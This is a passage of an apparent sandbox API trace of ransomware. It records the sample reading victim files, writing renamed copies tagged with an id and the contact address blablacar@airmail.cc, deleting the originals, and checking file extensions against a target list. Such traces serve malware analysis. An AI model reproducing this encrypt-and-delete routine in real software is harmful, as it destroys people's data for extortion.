"c:\\588bce7c90097ed212\\strings.xml.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0087.818] GetLastError () returned 0x0 [0087.818] ReadFile (in: hFile=0x334, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x3704, lpOverlapped=0x0) returned 1 [0087.821] WriteFile (in: hFile=0x348, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0x3710, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0x3710, lpOverlapped=0x0) returned 1 [0087.823] ReadFile (in: hFile=0x334, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1 [0087.823] WriteFile (in: hFile=0x348, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0xea, lpOverlapped=0x0) returned 1 [0087.823] SetEndOfFile (hFile=0x348) returned 1 [0087.823] CloseHandle (hObject=0x348) returned 1 [0087.824] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0087.824] SetEndOfFile (hFile=0x334) returned 1 [0087.825] CloseHandle (hObject=0x334) returned 1 [0087.825] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0087.825] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml")) returned 1 [0087.826] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0087.826] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0087.826] lstrlenW (lpString=".doc") returned 4 [0087.826] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0087.826] lstrlenW (lpString=".docx") returned 5 [0087.826] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0087.826] lstrlenW (lpString=".pdf") returned 4 [0087.826] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0087.826] lstrlenW (lpString=".xls") returned 4 [0087.826] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0087.826] lstrlenW (lpString=".xlsx") returned 5 [0087.826] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0087.826] lstrlenW (lpString=".ppt") returned 4 [0087.826] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0087.826] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0087.826] lstrlenW (lpString=".zip") returned 4 [0087.826] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0087.826] lstrlenW (lpString=".rar") returned 4 [0087.826] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0087.826] lstrlenW (lpString=".bz2") returned 4 [0087.826] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0087.826] lstrlenW (lpString=".7z") returned 3 [0087.826] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0087.826] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0087.826] lstrlenW (lpString=".dbf") returned 4 [0087.826] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0087.827] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0087.827] lstrlenW (lpString=".1cd") returned 4 [0087.827] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0087.827] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0087.827] lstrlenW (lpString=".jpg") returned 4 [0087.827] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0087.827] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0087.827] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0087.827] lstrlenW (lpString=".doc") returned 4 [0087.827] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0087.827] lstrlenW (lpString=".docx") returned 5 [0087.827] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0087.827] lstrlenW (lpString=".pdf") returned 4 [0087.827] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0087.827] lstrlenW (lpString=".xls") returned 4 [0087.827] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0087.827] lstrlenW (lpString=".xlsx") returned 5 [0087.827] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0087.827] lstrlenW (lpString=".ppt") returned 4 [0087.827] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0087.827] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0087.827] lstrlenW (lpString=".zip") returned 4 [0087.827] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0087.827] lstrlenW (lpString=".rar") returned 4 [0087.827] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0087.827] lstrlenW (lpString=".bz2") returned 4 [0087.827] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0087.827] lstrlenW (lpString=".7z") returned 3 [0087.828] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0087.828] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0087.828] lstrlenW (lpString=".dbf") returned 4 [0087.828] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0087.828] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0087.828] lstrlenW (lpString=".1cd") returned 4 [0087.828] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0087.828] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0087.828] lstrlenW (lpString=".jpg") returned 4 [0087.828] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0087.828] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0087.828] lstrlenW (lpString="UiInfo.xml") returned 10 [0087.828] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0087.828] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=38898) returned 1 [0087.828] CloseHandle (hObject=0x334) returned 1 [0087.828] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml")) returned 0x80 [0087.829] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0087.829] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0087.829] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0087.829] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0087.829] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0087.829] GetLastError () returned 0x0 [0087.829] ReadFile (in: hFile=0x334, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x97f2, lpOverlapped=0x0) returned 1 [0087.831] WriteFile (in: hFile=0x348, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0x9800, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0x9800, lpOverlapped=0x0) returned 1 [0087.833] ReadFile (in: hFile=0x334, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1 [0087.833] WriteFile (in: hFile=0x348, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0xe8, lpOverlapped=0x0) returned 1 [0087.833] SetEndOfFile (hFile=0x348) returned 1 [0087.833] CloseHandle (hObject=0x348) returned 1 [0087.835] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0087.835] SetEndOfFile (hFile=0x334) returned 1 [0087.836] CloseHandle (hObject=0x334) returned 1 [0087.837] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0087.837] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml")) returned 1 [0087.837] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0087.837] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0087.837] lstrlenW (lpString=".doc") returned 4 [0087.837] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0087.837] lstrlenW (lpString=".docx") returned 5 [0087.837] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0087.837] lstrlenW (lpString=".pdf") returned 4 [0087.837] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0087.837] lstrlenW (lpString=".xls") returned 4 [0087.837] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0087.837] lstrlenW (lpString=".xlsx") returned 5 [0087.837] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0087.837] lstrlenW (lpString=".ppt") returned 4 [0087.838] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0087.838] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0087.838] lstrlenW (lpString=".zip") returned 4 [0087.838] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0087.838] lstrlenW (lpString=".rar") returned 4 [0087.838] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0087.838] lstrlenW (lpString=".bz2") returned 4 [0087.838] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0087.838] lstrlenW (lpString=".7z") returned 3 [0087.838] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0087.838] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0087.838] lstrlenW (lpString=".dbf") returned 4 [0087.838] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0087.838] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0087.838] lstrlenW (lpString=".1cd") returned 4 [0087.838] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0087.838] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0087.838] lstrlenW (lpString=".jpg") returned 4 [0087.838] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0087.838] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0087.838] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0087.838] lstrlenW (lpString=".doc") returned 4 [0087.838] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0087.838] lstrlenW (lpString=".docx") returned 5 [0087.838] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0087.838] lstrlenW (lpString=".pdf") returned 4 [0087.838] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0087.838] lstrlenW (lpString=".xls") returned 4 [0087.839] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0087.839] lstrlenW (lpString=".xlsx") returned 5 [0087.839] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0087.839] lstrlenW (lpString=".ppt") returned 4 [0087.839] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0087.839] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0087.839] lstrlenW (lpString=".zip") returned 4 [0087.839] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0087.839] lstrlenW (lpString=".rar") returned 4 [0087.839] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0087.839] lstrlenW (lpString=".bz2") returned 4 [0087.839] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0087.839] lstrlenW (lpString=".7z") returned 3 [0087.839] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0087.839] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0087.839] lstrlenW (lpString=".dbf") returned 4 [0087.839] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0087.839] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0087.839] lstrlenW (lpString=".1cd") returned 4 [0087.839] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0087.839] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0087.839] lstrlenW (lpString=".jpg") returned 4 [0087.839] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0087.839] lstrcmpiW (lpString1=".bmp", lpString2=".kr") returned -1 [0087.839] lstrlenW (lpString="watermark.bmp") returned 13 [0087.840] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0087.840] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=104072) returned 1 [0087.840] CloseHandle (hObject=0x334) returned 1 [0087.840] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp")) returned 0x80 [0087.840] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0087.840] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0087.840] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0087.840] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0087.840] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0087.841] GetLastError () returned 0x0 [0087.841] ReadFile (in: hFile=0x334, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x19688, lpOverlapped=0x0) returned 1 [0088.110] WriteFile (in: hFile=0x348, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0x19690, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0x19690, lpOverlapped=0x0) returned 1 [0088.113] ReadFile (in: hFile=0x334, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1 [0088.113] WriteFile (in: hFile=0x348, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0xee, lpOverlapped=0x0) returned 1 [0088.113] SetEndOfFile (hFile=0x348) returned 1 [0088.113] CloseHandle (hObject=0x348) returned 1 [0088.118] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0088.118] SetEndOfFile (hFile=0x334) returned 1 [0088.120] CloseHandle (hObject=0x334) returned 1 [0088.120] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0088.120] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp")) returned 1 [0088.120] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0088.120] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0088.120] lstrlenW (lpString=".doc") returned 4 [0088.121] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0088.121] lstrlenW (lpString=".docx") returned 5 [0088.121] lstrcmpiW (lpString1=".docx", lpString2="k.bmp") returned -1 [0088.121] lstrlenW (lpString=".pdf") returned 4 [0088.121] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0088.121] lstrlenW (lpString=".xls") returned 4 [0088.121] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0088.121] lstrlenW (lpString=".xlsx") returned 5 [0088.121] lstrcmpiW (lpString1=".xlsx", lpString2="k.bmp") returned -1 [0088.121] lstrlenW (lpString=".ppt") returned 4 [0088.121] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0088.121] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0088.121] lstrlenW (lpString=".zip") returned 4 [0088.121] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0088.121] lstrlenW (lpString=".rar") returned 4 [0088.121] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0088.121] lstrlenW (lpString=".bz2") returned 4 [0088.121] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0088.121] lstrlenW (lpString=".7z") returned 3 [0088.121] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0088.121] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0088.121] lstrlenW (lpString=".dbf") returned 4 [0088.121] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0088.121] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0088.121] lstrlenW (lpString=".1cd") returned 4 [0088.121] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0088.122] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0088.122] lstrlenW (lpString=".jpg") returned 4 [0088.122] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0088.122] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0088.122] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0088.122] lstrlenW (lpString=".doc") returned 4 [0088.122] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0088.122] lstrlenW (lpString=".docx") returned 5 [0088.122] lstrcmpiW (lpString1=".docx", lpString2="k.bmp") returned -1 [0088.122] lstrlenW (lpString=".pdf") returned 4 [0088.122] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0088.122] lstrlenW (lpString=".xls") returned 4 [0088.122] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0088.122] lstrlenW (lpString=".xlsx") returned 5 [0088.122] lstrcmpiW (lpString1=".xlsx", lpString2="k.bmp") returned -1 [0088.122] lstrlenW (lpString=".ppt") returned 4 [0088.122] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0088.122] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0088.122] lstrlenW (lpString=".zip") returned 4 [0088.122] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0088.122] lstrlenW (lpString=".rar") returned 4 [0088.122] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0088.122] lstrlenW (lpString=".bz2") returned 4 [0088.122] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0088.122] lstrlenW (lpString=".7z") returned 3 [0088.123] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0088.123] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0088.123] lstrlenW (lpString=".dbf") returned 4 [0088.123] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0088.123] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0088.123] lstrlenW (lpString=".1cd") returned 4 [0088.123] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0088.123] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0088.123] lstrlenW (lpString=".jpg") returned 4 [0088.123] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0088.123] Sleep (dwMilliseconds=0x64) [0088.409] Sleep (dwMilliseconds=0x64) [0088.696] Sleep (dwMilliseconds=0x64) [0088.914] Sleep (dwMilliseconds=0x64) [0089.315] Sleep (dwMilliseconds=0x64) [0089.788] Sleep (dwMilliseconds=0x64) [0090.114] lstrcmpiW (lpString1=".avi", lpString2=".kr") returned -1 [0090.114] lstrlenW (lpString="split.avi") returned 9 [0090.114] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0090.211] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=181964) returned 1 [0090.211] CloseHandle (hObject=0x2b4) returned 1 [0090.211] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi")) returned 0x20 [0090.211] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0090.211] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0090.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0090.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0090.211] lstrlenW (lpString=".doc") returned 4 [0090.211] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0090.211] lstrlenW (lpString=".docx") returned 5 [0090.211] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0090.211] lstrlenW (lpString=".pdf") returned 4 [0090.211] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0090.211] lstrlenW (lpString=".xls") returned 4 [0090.211] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0090.212] lstrlenW (lpString=".xlsx") returned 5 [0090.212] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0090.212] lstrlenW (lpString=".ppt") returned 4 [0090.212] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0090.212] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0090.212] lstrlenW (lpString=".zip") returned 4 [0090.212] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0090.212] lstrlenW (lpString=".rar") returned 4 [0090.212] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0090.212] lstrlenW (lpString=".bz2") returned 4 [0090.212] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0090.212] lstrlenW (lpString=".7z") returned 3 [0090.212] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0090.212] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0090.212] lstrlenW (lpString=".dbf") returned 4 [0090.212] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0090.212] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0090.212] lstrlenW (lpString=".1cd") returned 4 [0090.212] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0090.212] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0090.212] lstrlenW (lpString=".jpg") returned 4 [0090.212] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0090.212] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0090.212] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0090.212] lstrlenW (lpString=".doc") returned 4 [0090.213] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0090.213] lstrlenW (lpString=".docx") returned 5 [0090.213] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0090.213] lstrlenW (lpString=".pdf") returned 4 [0090.213] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0090.213] lstrlenW (lpString=".xls") returned 4 [0090.213] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0090.213] lstrlenW (lpString=".xlsx") returned 5 [0090.213] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0090.213] lstrlenW (lpString=".ppt") returned 4 [0090.213] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0090.213] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0090.213] lstrlenW (lpString=".zip") returned 4 [0090.213] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0090.213] lstrlenW (lpString=".rar") returned 4 [0090.213] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0090.213] lstrlenW (lpString=".bz2") returned 4 [0090.213] lstrcmpiW 